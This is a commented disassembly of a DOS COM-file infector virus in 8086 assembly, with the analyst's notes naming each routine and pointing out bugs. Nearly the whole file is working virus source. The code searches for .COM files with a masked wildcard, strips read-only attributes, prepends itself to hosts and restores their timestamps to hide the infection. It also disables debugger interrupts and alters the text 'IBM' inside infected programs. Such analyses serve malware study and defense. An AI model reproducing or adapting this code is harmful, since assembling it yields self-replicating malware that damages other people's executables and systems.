	page	,132
;
;  name: lcase.vom
;
;  program type: com/bin
;
;  cpu type: 8086/8087
;
;  program loaded at 0000:0100
;
;  physical eof at 0000:0489
;
;  program entry point at 0000:0100
;
fun	segment
assume	cs:fun,ds:fun,es:fun,ss:fun
;
;  start of program
;
	org	0100h
h_0100:
	jmp	short h_0112			;skip this
	db	08h,08h,02h,20h,1ah,00h,00h,00h		;0102 ... ....
	db	0008h dup (00h)				;010a .
h_0112:
	call	h_013e				;call do_virus
	jmp	h_0438				;go start infected file
;
h_0118	dw	0000h					;0118 ..
h_011a	dw	0000h					;011a ..
h_011c	dw	0556h				;oldint24ofs
h_011e	dw	0bd2h				;oldint24seg
h_0120	dw	0782h				;exit_time
h_0122	dw	0005h				;handle
h_0124	dw	2cb5h				;highseg
h_0126	dw	2db5h				;psp_save_seg
h_0128	dw	2eb5h				;new_virus_seg
h_012a	dw	1325h				;file_date
h_012c	dw	65f6h				;file_time
h_012e	dw	0029h				;infected_program_size
h_0130	dw	0360h				;virus_size
h_0132	db	"JN#/-"				;wildcard_com (masked!)
;	db	'*.COM'				;unmasked!
	db	00h					;0137
h_0138	dw	0020h				;attributes
h_013a	dw	0460h				;virus_end
h_013c	dw	0cebh				;after_virus
;
;			do_virus
;
h_013e:
	call	h_03b0				;call setup_virus
				;NOTE: Will not return if DOS >= 3.0!
	ret					;and done
;
;			find_file_to_infect
;
h_0142:
	call	h_0198				;call set_exit_time
	call	h_03f9				;call find_first_com_file
	jnae	h_0168				;error, we're done
h_014a:
	call	h_03b7				;call check_com_size
	jnae	h_0173				;no, try next file
	call	h_0293				;call get_check_attributes
	jnae	h_0173				;no, try next file
	call	h_017f				;call clear_read_only
	jnae	h_0168				;no good, we're done
	call	h_02a8				;call open_file
	jnae	h_0168				;error, quit
	call	h_0235				;call read_file_header
	jnae	h_0168				;error, quit
	call	h_03df				;call check_infected
	jnae	h_0169				;yes, try next file
h_0168:
	ret					;else we're done
h_0169:
	call	h_01d6				;call close_file
	jnae	h_0168				;error, quit
	call	h_01b5				;call reset_attributes
	jnae	h_0168				;error, quit
h_0173:
	call	h_01a5				;call check_exit_time
	jnae	h_0168				;done, just quit
	call	h_03cc				;call find_next_com_file
	jnae	h_0168				;error, quit
	jmp	short h_014a			;else check next file
;
;			clear_read_only
;
h_017f:
	mov	cx,[h_0138]			;get attributes
	and	cx,-02h				;turn off read-only bit
	cmp	cx,[h_0138]			;was read-only set?
	jz	h_0196				;no, skip this
	mov	dx,009eh			;ds:dx = name found in DTA
	mov	al,01h				;fn = set file attributes
	mov	ah,43h
	int	21h				;call DOS
	ret					;and done
h_0196:
	clc					;flag OK
	ret					;and done
;
;			set_exit_time
;
h_0198:
	xor	ah,ah				;fn = get time-of-day
	int	1ah				;call BIOS
	mov	ax,dx				;low word to ax
	add	ax,0012h			;plus 18 ticks (1 second)
	mov	[h_0120],ax			;set exit_time
	ret					;and done
;
;			check_exit_time
;
h_01a5:
	xor	ah,ah				;fn = get time-of-day
	int	1ah				;call BIOS
	cmp	dx,[h_0120]			;ticks vs exit_time
	ja	h_01b3				;expired, we're done
	cmp	al,00h				;next day?
	jz	h_0196				;return not expired
h_01b3:
	stc					;flag exipred
	ret					;and done
;
;			reset_attributes
;
h_01b5:
	mov	cx,[h_0138]			;get attributes
	mov	dx,009eh			;ds:dx = name found in DTA
	mov	al,01h				;fn = set file attributes
	mov	ah,43h
	int	21h				;call DOS
	ret					;and done
;
;			reset_file_time_date
;
h_01c3:
	mov	al,01h				;subfn = set
	mov	bx,[h_0122]			;get handle
	mov	dx,[h_012a]			;get file_date
	mov	cx,[h_012c]			;and file_time
	mov	ah,57h				;fn = set file time/date
	int	21h				;call DOS
	ret					;and done
;
;			close_file
;
h_01d6:
	mov	bx,[h_0122]			;get handle
	mov	ah,3eh				;fn = close file
	int	21h				;call DOS
	ret					;and done
;
;   come here from setup_virus_env if DOS >= 3.0!
;
h_01df:
	call	h_0403				;call mask_wildcard_com
	call	h_0142				;call find_file_to_infect
	pushf					;save return flags
	call	h_0403				;call mask_wildcard_com
	popf					;restore return flags
	jnae	h_0212				;error, we're done
	call	h_02b9				;call get_file_time_date
	jnae	h_0212				;error, quit
	call	h_024b				;call read_rest_of_program
	jnae	h_0212				;error, quit
	call	h_0273				;call write_virus
	jnae	h_0212				;error, quit
	call	h_035a				;call de-emphasize_ibm
	call	h_0345				;call attach_infected_file
	jnae	h_0212				;error, quit
	call	h_01c3				;call reset_file_time_date
	jnae	h_0212				;error, quit
	call	h_01d6				;call close_file
	jnae	h_0212				;error, quit
	call	h_01b5				;call reset_attributes
	jnae	h_0212				;error, DO NOTHING!
h_0212:
	ret					;and done
;
;			save_psp
;
h_0213:
	mov	es,[h_0126]			;get psp_save_seg
	xor	si,si				;ds:si = our PSP
	xor	di,di				;eS:di = save area
	mov	cx,0100h			;PSP size
	cld					;up!
	repz	movsb				;save the PSP
	ret					;and done
;
;			restore_psp
;
h_0222:
	push	ds				;current seg
	pop	es				;to es
	push	ds				;save our ds
	mov	ds,[h_0126]			;get psp_save_seg
	xor	si,si				;ds:si = saved PSP
	xor	di,di				;es:di = our PSP
	mov	cx,0100h			;PSP size
	cld					;up!
	repz	movsb				;restore the PSP
	pop	ds				;restore our DS
	ret					;and done
;
;			read_file_header
;
h_0235:
	mov	bx,[h_0122]			;get handle
	mov	cx,0012h			;size to read
	xor	dx,dx				;ofs 0
	mov	ds,[h_0128]			;in new_virus_seg
	mov	ah,3fh				;fn = read file
	int	21h				;call DOS
	push	cs				;current segment
	pop	ds				;to ds
	jnae	h_0212				;error, quit
	ret					;else return anyway!
;
;			read_rest_of_program
;
h_024b:
	mov	bx,[h_0122]			;get handle
	mov	di,009ah			;ptr to size (low) in DTA
	mov	cx,[di]				;get size (low)
	mov	dx,0012h			;dx = signature size
	sub	cx,dx				;remainder to read
				;BUG: If file size < 12h, will be a
				;     BIG read!
	mov	ds,[h_0128]			;new_virus_seg
	mov	ah,3fh				;fn = read file
	int	21h				;call DOS
	push	cs				;current segment
	pop	ds				;to ds
	jnae	h_0212				;error, quit
	add	ax,0012h			;read + header size
	mov	di,009ah			;ptr to size (low)
	cmp	ax,[di]				;all bytes read?
	jnz	h_02b7				;no, an error!
	mov	[h_012e],ax			;save infected_file_size
	ret					;and done
;
;			write_virus
;
h_0273:
	xor	al,al				;mode = BOF+CX:DX
	xor	cx,cx				;cx:dx = 0
	xor	dx,dx
	mov	bx,[h_0122]			;get handle
	mov	ah,42h				;fn = lseek
	int	21h				;call DOS
	jnae	h_02a7				;error, quit
	mov	bx,[h_0122]			;get handle
	mov	dx,offset h_0100		;ds:dx = this virus
	mov	cx,[h_0130]			;get virus_size
	mov	ah,40h				;fn = write to file
	int	21h				;call DOS
	ret					;and done
;
;			get_check_attributes
;
h_0293:
	mov	dx,009eh			;ds:dx = name found in DTA
	xor	al,al
	mov	ah,43h				;fn = get file attributes
	int	21h				;call DOS
	jnae	h_02a7				;error, quit
	mov	[h_0138],cx			;save attributes
	and	cx,+06h				;check SYSTEM, HIDDEN
	jnz	h_02b7				;set, return bad flags
h_02a7:
	ret					;and done
;
;			open_file
;
h_02a8:
	mov	dx,009eh			;ds:dx = name found in DTA
	mov	al,02h				;fn = open file for read/write
	mov	ah,3dh
	int	21h				;call DOS
	jnae	h_02a7				;error, quit
	mov	[h_0122],ax			;save handle
	ret					;and done
h_02b7:
	stc					;flag error
	ret					;and done
;
;			get_file_time_date
;
h_02b9:
	xor	al,al				;subfn = get
	mov	bx,[h_0122]			;get handle
	mov	ah,57h				;fn = get file time/date
	int	21h				;call DOS
	jnae	h_02a7				;error, quit
	mov	[h_012a],dx			;save file_date
	mov	[h_012c],cx			;and file_time
	ret					;and done
;
;			setup_virus_env
;
h_02ce:
	mov	ax,ds				;get our segment
	add	ax,2000h			;plus 128K
	mov	[h_0124],ax			;set highseg
	add	ax,0100h			;plus another 4K
	mov	[h_0126],ax			;set psp_save_seg
	add	ax,0100h			;plus another 4K
	mov	[h_0128],ax			;set new_virus_seg
	mov	ax,offset h_045d+0010h		;end of virus plus pad (046dh)
	and	ax,0fff0h			;mask to paragarph
	mov	[h_013a],ax			;save virus_end
	sub	ax,0100h			;minus PSP size
	mov	[h_0130],ax			;save virus_size
	mov	cl,04h				;for 4-bit shift
	shr	ax,cl				;bytes to paras
	mov	cx,cs				;get our segment
	add	ax,cx				;plus virus paras
	mov	[h_013c],ax			;set after_virus
	call	h_0213				;call save_psp
	call	h_030e				;call get_set_int24
	call	h_03a9				;call check_dos_version
	jnae	h_030d				;no, just continue
	pop	cx				;cleanup h_03b6 return address
	pop	ax				;cleanup h_0141 return address
	mov	ax,offset h_01df		;ofs of continuation IP
	push	ax				;to stack
h_030d:
	ret					;and done with this routine
;
;			get_set_int24
;
h_030e:
	mov	ax,3524h			;fn = get INT 24 vector
	int	21h				;call DOS
	mov	[h_011c],bx			;save oldint24ofs
	mov	[h_011e],es			;and oldint24seg
	mov	ax,2524h			;fn = set INT 24 vector
	mov	dx,offset h_0334		;ds:dx = INT24HERE
	int	21h				;call DOS
	ret					;and done
;
;			restore_int24
;
h_0324:
	mov	ax,2524h			;fn = set INT 24 vector
	push	ds				;save our ds
	mov	dx,[h_011c]			;get oldint24ofs
	mov	ds,[h_011e]			;and oldint24seg
	int	21h				;call DOS
	pop	ds				;restore our ds
	ret					;and done
;
;			int24here
;
h_0334:
	pop	ax				;cleanup return IP
	pop	ax				;and return CS
	popf					;and return flags
	pop	ax				;retore saved regs
	pop	bx
	pop	cx
	pop	dx
	pop	si
	pop	di
	pop	bp
	pop	ds
	pop	es
			;NOTE: Won't work on Novell 3.10A-E!
	mov	ax,000eh			;error = RESERVED
	stc					;flag error
	iret					;continue program
			;BUG: IRET will pop flags, destroying the
			;     error flag of the STC!
;
;			attach_infected_file
;
h_0345:
	mov	bx,[h_0122]			;get handle
	mov	cx,[h_012e]			;get infected_program_size
	xor	dx,dx				;ofs of saved program
	push	ds				;save our ds
	mov	ds,[h_0128]			;get new_virus_seg
	mov	ah,40h				;fn = write to file
	int	21h				;call DOS
	pop	ds				;restore our ds
	ret					;and done
;
;			de-emphasize_ibm
;
h_035a:
	mov	cx,[h_012e]			;get infected_program_size
	xor	di,di				;offset into program
	push	ds				;save our ds
	mov	ds,[h_0128]			;get new_virus_seg
	mov	al,4dh				;3rd char of IBM ('M')
	mov	ah,49h				;1st char of IBM ('I')
	mov	bh,42h				;2nd char of IBM ('B')
h_036b:
	inc	di				;next byte in program
	cmp	ah,[di]				;1st char of IBM?
	jnz	h_0385				;no, do next byte
	cmp	bh,[di+01h]			;2nd char of IBM?
	jnz	h_0385				;no, do next byte
	cmp	al,[di+02h]			;3rd char of IBM?
	jnz	h_0385				;no, do next byte
	mov	byte ptr [di+02h],6dh		;replace 'M' with 'm'
	mov	byte ptr [di],69h		;replace 'I' with 'i'
	mov	byte ptr [di+01h],62h		;replace 'B' with 'b'
h_0385:
	loop	h_036b				;do all bytes
	pop	ds				;restore our ds
	ret					;and done
;
;			set_trash_int
;
h_0389:
	mov	dx,offset h_0392		;ofs of trash_int
;
;			set_int
;
h_038c:
	mov	ah,25h				;fn = set INT vector
	int	21h				;call DOS
	ret					;and done
;
;			null_iret
;
h_0391:
	iret					;and done
;
;			trash_int
h_0392:
	jmp	short h_0389			;goto set_trash_int
;
;			set_null_int
;
h_0394:
	mov	dx,offset h_0391		;ds:dx = null_iret
	jmp	short h_038c			;goto set_int
;
;			set_ints_23_19_1b
;
h_0399:
	mov	al,23h				;interrupt # = 23h
	call	h_0389				;call set_trash_int
	mov	al,19h				;interrupt # = 19h
	call	h_0389				;call set_trash_int
	mov	al,1bh				;interrupt # = 1bh
	call	h_0389				;call set_trash_int
	ret					;and done
;
;			check_dos_version
;
h_03a9:
	mov	ah,30h				;fn = get DOS version
	int	21h				;call DOS
	cmp	al,03h				;at least 3?
	ret					;and return the flags
;
;			setup_virus
;
h_03b0:
	call	h_03d1				;call take_bothersome_ints
	call	h_02ce				;call setup_virus_env
				;NOTE: Will not return if DOS >= 3.0!
	ret					;and done
;
;			check_com_size
;
h_03b7:
	mov	di,009ch			;di = high word of name
	cmp	word ptr [di],+00h		;file > 64K?
	jnz	h_03c8				;yes, flag we're done
	mov	di,009ah			;ptr to size (low) in DTA
	cmp	word ptr [di],0d000h		;too big?
	jnae	h_03ca				;no, flag OK
h_03c8:
	stc					;flag ignore this file
	ret					;and done
h_03ca:
	clc					;flag OK to infect
	ret					;and done
;
;			find_next_com_file
;
h_03cc:
	mov	ah,4fh				;fn = find next matching file
	int	21h				;call DOS
	ret					;and done
;
;			take_bothersome_ints
;
h_03d1:
	mov	al,03h				;interrupt # = 3
	call	h_0394				;call set_null_int
	mov	al,01h				;interrupt # = 1
	call	h_0394				;call set_null_int
	call	h_0399				;call set_ints_23_19_1b
	ret					;and done
;
;			check_infected
;
h_03df:
	mov	cx,0012h			;size to check
	mov	es,[h_0128]			;new_virus_seg
	mov	si,0000h			;si = program header
	mov	di,offset h_0100		;di = this virus
h_03ec:
	mov	al,es:[si]			;get header byte
	cmp	al,[di]				;our byte?
	jnz	h_03ca				;no, flag OK to infect
	inc	si				;update header pointer
	inc	di				;and virus pointer
	loop	h_03ec				;do all bytes
	jmp	short h_03c8			;the same, flag infected
;
;			find_first_com_file
;
h_03f9:
	xor	cx,cx				;attributes = NONE
	mov	dx,offset h_0132		;ds:dx = wildcard_com
	mov	ah,4eh				;fn = find first matching file
	int	21h				;call DOS
	ret					;and done
;
;			mask_wildcard_com
;
h_0403:
	mov	dx,offset h_0132		;ds:dx = wildcard_com
	mov	di,dx				;ofs to addressing reg
	mov	cx,0005h			;len of string
h_040b:
	xor	byte ptr [di],60h		;mask/unmask byte
	inc	di				;next byte
	loop	h_040b				;do all bytes
	ret					;and done
;
;			setup_startup_routine
;
h_0412:
	mov	es,[h_0124]			;get highseg
	mov	di,0000h			;es:di = free memory
	mov	si,offset h_0427		;ds:si = startup_routine
	mov	cx,offset h_0437		;end of startup_routine
	sub	cx,offset h_0427		;get size of startup_routine
	cld					;up!
	repz	movsb				;copy startup_routine
	ret					;and done
;
;			startup_routine
;
;   NOTE:  This routine is run from HIGHSEG:0000h
;
h_0427:
	mov	di,offset h_0100		;normal COM start
	mov	si,[h_013a]			;get virus_end (loc of
						;infected file!)
	mov	cx,0d000h			;max size
	shr	cx,1				;to words
	cld					;up!
	repz	movsw				;move program into place
	retf					;run infected file
h_0437	db	00h				;end of startup_routine
;
;   come here to run infected file
;
h_0438:
	call	h_0324				;call restore_int24
	call	h_0222				;call restore_psp
	call	h_0412				;call setup_startup_routine
	mov	word ptr [h_0118],0000h		;ofs of startup_routine
	mov	es,[h_0124]			;get highseg
	mov	[h_011a],es			;save for JMPF
	push	cs				;current segment
	pop	ds				;to ds
	push	cs				;and again
	pop	es				;to es
	push	cs				;current seg to stack
	mov	cx,offset h_0100		;normal COM start
	push	cx				;to stack
	jmp	dword ptr cs:[h_0118]		;goto startup_routine
h_045d	equ	$
	db	90h,90h,90h				;045d ...
;
;   the infected file follows
;
h_0460	db	0ebh,1eh				;0460 ..
	db	"This is a t"
;	db	54h,68h,69h,73h,20h,69h,73h,20h		;0462
;	db	61h,20h,74h				;046a
h_046d	db	"iny COM program."
;	db	69h,6eh,79h,20h,43h,4fh,4dh,20h		;046d
;	db	70h,72h,6fh,67h,72h,61h,6dh,2eh		;0475
	db	0dh,0ah					;047d
	db	"$"
;	db	24h					;047f
	db	0bah,02h,01h,0b4h,09h,0cdh,21h,0cdh	;0480 ......!.
	db	20h					;0488  
fun	ends
	end	h_0100
